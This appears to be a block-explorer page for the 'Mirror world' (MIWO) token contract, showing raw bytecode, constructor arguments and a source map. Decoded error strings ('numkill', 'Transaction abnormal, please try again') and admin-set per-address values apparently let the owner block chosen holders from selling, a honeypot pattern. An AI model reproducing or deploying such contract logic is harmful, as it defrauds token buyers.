f919061216f565b60405180910390f35b6060600780546105079061250b565b80601f01602080910402602001604051908101604052809291908181526020018280546105339061250b565b801561057e5780601f106105555761010080835404028352916020019161057e565b820191905f5260205f20905b81548152906001019060200180831161056157829003601f168201915b5050505050905090565b5f61059b610594610d71565b8484610d78565b6001905092915050565b7f545241444552000000000000000000000000000000000000000000000000000081565b5f600654905090565b5f6105de848484610f3b565b5f60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610625610d71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050828110156106a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069b906125ab565b60405180910390fd5b6106b8856106b0610d71565b858403610d78565b60019150509392505050565b5f805f8381526020019081526020015f20600101549050919050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f801b81565b5f610770670de0b6b3a76400005f808681526020019081526020015f206002016001015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610fb990919063ffffffff16565b905092915050565b5f801b61078c81610787610d71565b610fce565b610796838361106a565b505050565b5f6012905090565b5f801b6107b7816107b2610d71565b610fce565b6107bf610d71565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461082c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082390612639565b60405180910390fd5b6108368383611144565b505050565b5f6108d8610847610d71565b848460055f610854610d71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108d39190612684565b610d78565b6001905092915050565b5f801b6108f6816108f1610d71565b610fce565b7f54524144455200000000000000000000000000000000000000000000000000008314610958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094f90612701565b60405180910390fd5b81600281905550505050565b5f6109d0670de0b6b3a76400005f808681526020019081526020015f206002015f015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610fb990919063ffffffff16565b905092915050565b60025481565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16905092915050565b606060088054610a969061250b565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac29061250b565b8015610b0d5780601f10610ae457610100808354040283529160200191610b0d565b820191905f5260205f20905b815481529060010190602001808311610af057829003601f168201915b5050505050905090565b5f801b610b2b81610b26610d71565b610fce565b5f80610b368461121e565b80925081935050505f151581151503610b84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7b9061278f565b60405180910390fd5b5f8210610bb557610bb08686610bab670de0b6b3a76400008661132f90919063ffffffff16565b611344565b610bc1565b610bc086865f611344565b5b505050505050565b5f8060055f610bd6610d71565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610c90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c879061281d565b60405180910390fd5b610ca4610c9b610d71565b85858403610d78565b600191505092915050565b5f610cc2610cbb610d71565b8484610f3b565b6001905092915050565b5f801b610ce081610cdb610d71565b610fce565b610cea8383611144565b505050565b5f60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddd906128ab565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4b90612939565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061216f565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa0906129c7565b60405180910390fd5b610fb483838361139e565b505050565b5f8183610fc69190612a12565b905092915050565b610fd88282610a24565b61106657610ffd8173ffffffffffffffffffffffffffffffffffffffff16601461149c565b61100a835f1c602061149c565b60405160200161101b929190612b10565b6040516020818303038152906040526040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105d9190612000565b60405180910390fd5b5050565b6110748282610a24565b6111405760015f808481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506110e5610d71565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45b5050565b61114e8282610a24565b1561121a575f805f8481526020019081526020015f205f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506111bf610d71565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45b5050565b5f805f5b8351811015611321575f603085838151811061124157611240612b49565b5b602001015160f81c60f81b60f81c6112599190612b76565b60ff16108061129757506009603085838151811061127a57611279612b49565b5b602001015160f81c60f81b60f81c6112929190612b76565b60ff16115b156112a8575f80925092505061132a565b60018185516112b79190612baa565b6112c19190612baa565b600a6112cd9190612d0c565b60308583815181106112e2576112e1612b49565b5b602001015160f81c60f81b60f81c6112fa9190612b76565b60ff166113079190612d56565b836113129190612684565b92508080600101915050611222565b50816001915091505b915091565b5f818361133c9190612d56565b905092915050565b805f808581526020019081526020015f206002015f015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361140c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140390612e07565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054101561148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390612e95565b60405180910390fd5b6114978383836116d1565b505050565b60605f60028360026114ae9190612d56565b6114b89190612684565b67ffffffffffffffff8111156114d1576114d0612310565b5b6040519080825280601f01601f1916602001820160405280156115035781602001600182028036833780820191505090505b5090507f3000000000000000000000000000000000000000000000000000000000000000815f8151811061153a57611539612b49565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053507f78000000000000000000000000000000000000000000000000000000000000008160018151811061159d5761159c612b49565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a9053505f60018460026115db9190612d56565b6115e59190612684565b90505b6001811115611684577f3031323334353637383961626364656600000000000000000000000000000000600f86166010811061162757611626612b49565b5b1a60f81b82828151811061163e5761163d612b49565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690815f1a905350600485901c94508061167d90612eb3565b90506115e8565b505f84146116c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116be90612f24565b60405180910390fd5b8091505092915050565b5f151560095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515036117a55761174f7f54524144455200000000000000000000000000000000000000000000000000008461106a565b600160095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b5f151560095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611879576118237f54524144455200000000000000000000000000000000000000000000000000008361106a565b600160095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505b611884838383611889565b505050565b611894838383611899565b505050565b6118a48383836118a9565b505050565b5f8111156118e9576118dd7f54524144455200000000000000000000000000000000000000000000000000008484846118ee565b6118e8838383611ae9565b5b505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361196e5761196d7f54524144455200000000000000000000000000000000000000000000000000008483611d61565b5b60326002541480156119cd575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a88576119db83611ddd565b8015611a34575060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6b90612fb2565b60405180910390fd5b611a878483670de0b6b3a7640000611344565b5b5f611a938585611dff565b90505f811115611ac8575f82611aa98787611e59565b611ab39190612684565b9050611ac28686858585611eb4565b50611ae1565b5f821480611ad557505f81145b15611ae05750611ae3565b5b505b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b4e906129c7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbc90612e07565b60405180910390fd5b611bd0838383611f11565b5f60045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611c54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4b90612e95565b60405180910390fd5b81810360045f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611ce49190612684565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d48919061216f565b60405180910390a3611d5b848484611f16565b50505050565b5f811115611dd8575f611d748484611dff565b905060636002541115611dd6575f611d958383610fb990919063ffffffff16565b11611dd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcc90612fb2565b60405180910390fd5b5b505b505050565b5f808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b5f805f8481526020019081526020015f206002015f015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f805f8481526020019081526020015f206002016001015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f831115611f0a57818110611efe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef590612fb2565b60405180910390fd5b611f09858583611f1b565b5b5050505050565b505050565b505050565b805f808581526020019081526020015f206002016001015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611fad578082015181840152602081019050611f92565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611fd282611f76565b611fdc8185611f80565b9350611fec818560208601611f90565b611ff581611fb8565b840191505092915050565b5f6020820190508181035f8301526120188184611fc8565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61205a82612031565b9050919050565b61206a81612050565b8114612074575f80fd5b50565b5f8135905061208581612061565b92915050565b5f819050919050565b61209d8161208b565b81146120a7575f80fd5b50565b5f813590506120b881612094565b92915050565b5f80604083850312156120d4576120d3612029565b5b5f6120e185828601612077565b92505060206120f2858286016120aa565b9150509250929050565b5f8115159050919050565b612110816120fc565b82525050565b5f6020820190506121295f830184612107565b92915050565b5f819050919050565b6121418161212f565b82525050565b5f60208201905061215a5f830184612138565b92915050565b6121698161208b565b82525050565b5f6020820190506121825f830184612160565b92915050565b5f805f6060848603121561219f5761219e612029565b5b5f6121ac86828701612077565b93505060206121bd86828701612077565b92505060406121ce868287016120aa565b9150509250925092565b6121e18161212f565b81146121eb575f80fd5b50565b5f813590506121fc816121d8565b92915050565b5f6020828403121561221757612216612029565b5b5f612224848285016121ee565b91505092915050565b5f6020828403121561224257612241612029565b5b5f61224f84828501612077565b91505092915050565b5f806040838503121561226e5761226d612029565b5b5f61227b858286016121ee565b925050602061228c85828601612077565b9150509250929050565b5f60ff82169050919050565b6122ab81612296565b82525050565b5f6020820190506122c45f8301846122a2565b92915050565b5f80604083850312156122e0576122df612029565b5b5f6122ed858286016121ee565b92505060206122fe858286016120aa565b9150509250929050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61234682611fb8565b810181811067ffffffffffffffff8211171561236557612364612310565b5b80604052505050565b5f612377612020565b9050612383828261233d565b919050565b5f67ffffffffffffffff8211156123a2576123a1612310565b5b6123ab82611fb8565b9050602081019050919050565b828183375f83830152505050565b5f6123d86123d384612388565b61236e565b9050828152602081018484840111156123f4576123f361230c565b5b6123ff8482856123b8565b509392505050565b5f82601f83011261241b5761241a612308565b5b813561242b8482602086016123c6565b91505092915050565b5f805f6060848603121561244b5761244a612029565b5b5f612458868287016121ee565b935050602061246986828701612077565b925050604084013567ffffffffffffffff81111561248a5761248961202d565b5b61249686828701612407565b9150509250925092565b5f80604083850312156124b6576124b5612029565b5b5f6124c385828601612077565b92505060206124d485828601612077565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061252257607f821691505b602082108103612535576125346124de565b5b50919050565b7f45524332303a207472616e7366657220616d74206578636565647320616c6c6f5f8201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b5f612595602583611f80565b91506125a08261253b565b604082019050919050565b5f6020820190508181035f8301526125c281612589565b9050919050565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e63655f8201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b5f612623602f83611f80565b915061262e826125c9565b604082019050919050565b5f6020820190508181035f83015261265081612617565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61268e8261208b565b91506126998361208b565b92508282019050808211156126b1576126b0612657565b5b92915050565b7f6e756d6b696c6c206973206e6f742061206e756d6265720000000000000000005f82015250565b5f6126eb601783611f80565b91506126f6826126b7565b602082019050919050565b5f6020820190508181035f830152612718816126df565b9050919050565b7f416363657373436f6e74726f6c3a206d656d6f206973206e6f742061206e756d5f8201527f6265720000000000000000000000000000000000000000000000000000000000602082015250565b5f612779602383611f80565b91506127848261271f565b604082019050919050565b5f6020820190508181035f8301526127a68161276d565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f612807602583611f80565b9150612812826127ad565b604082019050919050565b5f6020820190508181035f830152612834816127fb565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612895602483611f80565b91506128a08261283b565b604082019050919050565b5f6020820190508181035f8301526128c281612889565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612923602283611f80565b915061292e826128c9565b604082019050919050565b5f6020820190508181035f83015261295081612917565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6129b1602583611f80565b91506129bc82612957565b604082019050919050565b5f6020820190508181035f8301526129de816129a5565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612a1c8261208b565b9150612a278361208b565b925082612a3757612a366129e5565b5b828204905092915050565b5f81905092915050565b7f416363657373436f6e74726f6c3a206163636f756e74200000000000000000005f82015250565b5f612a80601783612a42565b9150612a8b82612a4c565b601782019050919050565b5f612aa082611f76565b612aaa8185612a42565b9350612aba818560208601611f90565b80840191505092915050565b7f206973206d697373696e6720726f6c65200000000000000000000000000000005f82015250565b5f612afa601183612a42565b9150612b0582612ac6565b601182019050919050565b5f612b1a82612a74565b9150612b268285612a96565b9150612b3182612aee565b9150612b3d8284612a96565b91508190509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f612b8082612296565b9150612b8b83612296565b9250828203905060ff811115612ba457612ba3612657565b5b92915050565b5f612bb48261208b565b9150612bbf8361208b565b9250828203905081811115612bd757612bd6612657565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612c3257808604811115612c0e57612c0d612657565b5b6001851615612c1d5780820291505b8081029050612c2b85612bdd565b9450612bf2565b94509492505050565b5f82612c4a5760019050612d05565b81612c57575f9050612d05565b8160018114612c6d5760028114612c7757612ca6565b6001915050612d05565b60ff841115612c8957612c88612657565b5b8360020a915084821115612ca057612c9f612657565b5b50612d05565b5060208310610133831016604e8410600b8410161715612cdb5782820a905083811115612cd657612cd5612657565b5b612d05565b612ce88484846001612be9565b92509050818404811115612cff57612cfe612657565b5b81810290505b9392505050565b5f612d168261208b565b9150612d218361208b565b9250612d4e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c3b565b905092915050565b5f612d608261208b565b9150612d6b8361208b565b9250828202612d798161208b565b91508282048414831517612d9057612d8f612657565b5b5092915050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612df1602383611f80565b9150612dfc82612d97565b604082019050919050565b5f6020820190508181035f830152612e1e81612de5565b9050919050565b7f45524332303a207472616e7366657220616d7420657863656564732062616c615f8201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b5f612e7f602383611f80565b9150612e8a82612e25565b604082019050919050565b5f6020820190508181035f830152612eac81612e73565b9050919050565b5f612ebd8261208b565b91505f8203612ecf57612ece612657565b5b600182039050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e745f82015250565b5f612f0e602083611f80565b9150612f1982612eda565b602082019050919050565b5f6020820190508181035f830152612f3b81612f02565b9050919050565b7f5472616e73616374696f6e2061626e6f726d616c2c20706c65617365207472795f8201527f20616761696e0000000000000000000000000000000000000000000000000000602082015250565b5f612f9c602683611f80565b9150612fa782612f42565b604082019050919050565b5f6020820190508181035f830152612fc981612f90565b905091905056fea2646970667358221220121e6ea16d14aafe1ea51cde98b2eda71227a64f4b7fcfe4f93344f7982aa11664736f6c63430008170033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000800000000000000000000000000c0b79396015c42f43d2492ef6518f0316694c6e00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000c4d6972726f7220776f726c64000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044d49574f00000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _name (string): Mirror world
Arg [1] : _tokenOwner (address): 0x0c0b79396015C42f43D2492EF6518f0316694c6E
Arg [2] : _symbol (string): MIWO
Arg [3] : _totalSupply (uint256): 100000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 0000000000000000000000000c0b79396015c42f43d2492ef6518f0316694c6e
Arg [2] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [3] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [5] : 4d6972726f7220776f726c640000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4d49574f00000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

27632:2378:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21628:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22596:188;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15458:50;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21949:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22792:514;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18208:123;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15580:40;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15414:36;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18017:181;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18339:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;21848:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18625:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23314:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16896:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17828:181;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15549:22;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22065:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15736:139;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21736:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16388:498;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;23612:475;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;22210:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18481:136;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;22412:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;21628:100;21682:13;21715:5;21708:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21628:100;:::o;22596:188::-;22701:4;22718:36;22727:12;:10;:12::i;:::-;22741:7;22750:3;22718:8;:36::i;:::-;22772:4;22765:11;;22596:188;;;;:::o;15458:50::-;15491:17;15458:50;:::o;21949:108::-;22010:7;22037:12;;22030:19;;21949:108;:::o;22792:514::-;22929:4;22946:33;22956:6;22964:9;22975:3;22946:9;:33::i;:::-;22992:24;23019:11;:19;23031:6;23019:19;;;;;;;;;;;;;;;:33;23039:12;:10;:12::i;:::-;23019:33;;;;;;;;;;;;;;;;22992:60;;23105:3;23085:16;:23;;23063:110;;;;;;;;;;;;:::i;:::-;;;;;;;;;23209:54;23218:6;23226:12;:10;:12::i;:::-;23259:3;23240:16;:22;23209:8;:54::i;:::-;23294:4;23287:11;;;22792:514;;;;;:::o;18208:123::-;18274:7;18301:6;:12;18308:4;18301:12;;;;;;;;;;;:22;;;18294:29;;18208:123;;;:::o;15580:40::-;;;;;;;;;;;;;;;;;;;;;;:::o;15414:36::-;15446:4;15414:36;;;:::o;18017:181::-;18122:7;18149:41;18181:8;18149:6;:12;18156:4;18149:12;;;;;;;;;;;:15;;:18;;:27;18168:7;18149:27;;;;;;;;;;;;;;;;:31;;:41;;;;:::i;:::-;18142:48;;18017:181;;;;:::o;18339:134::-;15446:4;18422:5;;15678:30;15689:4;15695:12;:10;:12::i;:::-;15678:10;:30::i;:::-;18440:25:::1;18451:4;18457:7;18440:10;:25::i;:::-;18339:134:::0;;;:::o;21848:93::-;21906:5;21931:2;21924:9;;21848:93;:::o;18625:234::-;15446:4;18711:5;;15678:30;15689:4;15695:12;:10;:12::i;:::-;15678:10;:30::i;:::-;18748:12:::1;:10;:12::i;:::-;18737:23;;:7;:23;;;18729:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;18825:26;18837:4;18843:7;18825:11;:26::i;:::-;18625:234:::0;;;:::o;23314:290::-;23427:4;23444:130;23467:12;:10;:12::i;:::-;23494:7;23553:10;23516:11;:25;23528:12;:10;:12::i;:::-;23516:25;;;;;;;;;;;;;;;:34;23542:7;23516:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;23444:8;:130::i;:::-;23592:4;23585:11;;23314:290;;;;:::o;16896:218::-;15446:4;16987:5;;15678:30;15689:4;15695:12;:10;:12::i;:::-;15678:10;:30::i;:::-;15491:17:::1;17008:4;:14;17005:78;;17038:33;;;;;;;;;;:::i;:::-;;;;;;;;17005:78;17103:3;17093:7;:13;;;;16896:218:::0;;;:::o;17828:181::-;17933:7;17960:41;17992:8;17960:6;:12;17967:4;17960:12;;;;;;;;;;;:15;;:18;;:27;17979:7;17960:27;;;;;;;;;;;;;;;;:31;;:41;;;;:::i;:::-;17953:48;;17828:181;;;;:::o;15549:22::-;;;;:::o;22065:137::-;22152:7;22179:9;:15;22189:4;22179:15;;;;;;;;;;;;;;;;22172:22;;22065:137;;;:::o;15736:139::-;15814:4;15838:6;:12;15845:4;15838:12;;;;;;;;;;;:20;;:29;15859:7;15838:29;;;;;;;;;;;;;;;;;;;;;;;;;15831:36;;15736:139;;;;:::o;21736:104::-;21792:13;21825:7;21818:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21736:104;:::o;16388:498::-;15446:4;16508:5;;15678:30;15689:4;15695:12;:10;:12::i;:::-;15678:10;:30::i;:::-;16526:16:::1;16553:8:::0;16590:22:::1;16608:3;16590:17;:22::i;:::-;16572:40;;;;;;;;16634:5;16627:12;;:3;:12;;::::0;16623:90:::1;;16656:45;;;;;;;;;;:::i;:::-;;;;;;;;16623:90;16748:1;16736:8;:13;16733:146;;16765:46;16778:4;16783;16788:22;16801:8;16788;:12;;:22;;;;:::i;:::-;16765:12;:46::i;:::-;16733:146;;;16842:25;16855:4;16860;16865:1;16842:12;:25::i;:::-;16733:146;16515:371;;16388:498:::0;;;;:::o;23612:475::-;23730:4;23747:24;23774:11;:25;23786:12;:10;:12::i;:::-;23774:25;;;;;;;;;;;;;;;:34;23800:7;23774:34;;;;;;;;;;;;;;;;23747:61;;23861:15;23841:16;:35;;23819:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;23977:67;23986:12;:10;:12::i;:::-;24000:7;24028:15;24009:16;:34;23977:8;:67::i;:::-;24075:4;24068:11;;;23612:475;;;;:::o;22210:194::-;22318:4;22335:39;22345:12;:10;:12::i;:::-;22359:9;22370:3;22335:9;:39::i;:::-;22392:4;22385:11;;22210:194;;;;:::o;18481:136::-;15446:4;18565:5;;15678:30;15689:4;15695:12;:10;:12::i;:::-;15678:10;:30::i;:::-;18583:26:::1;18595:4;18601:7;18583:11;:26::i;:::-;18481:136:::0;;;:::o;22412:176::-;22526:7;22553:11;:18;22565:5;22553:18;;;;;;;;;;;;;;;:27;22572:7;22553:27;;;;;;;;;;;;;;;;22546:34;;22412:176;;;;:::o;100:98::-;153:7;180:10;173:17;;100:98;:::o;25704:371::-;25854:1;25837:19;;:5;:19;;;25829:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;25935:1;25916:21;;:7;:21;;;25908:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;26019:3;25989:11;:18;26001:5;25989:18;;;;;;;;;;;;;;;:27;26008:7;25989:27;;;;;;;;;;;;;;;:33;;;;26054:7;26038:29;;26047:5;26038:29;;;26063:3;26038:29;;;;;;:::i;:::-;;;;;;;;25704:371;;;:::o;28557:253::-;28716:1;28700:18;;:4;:18;;;28692:68;;;;;;;;;;;;:::i;:::-;;;;;;;;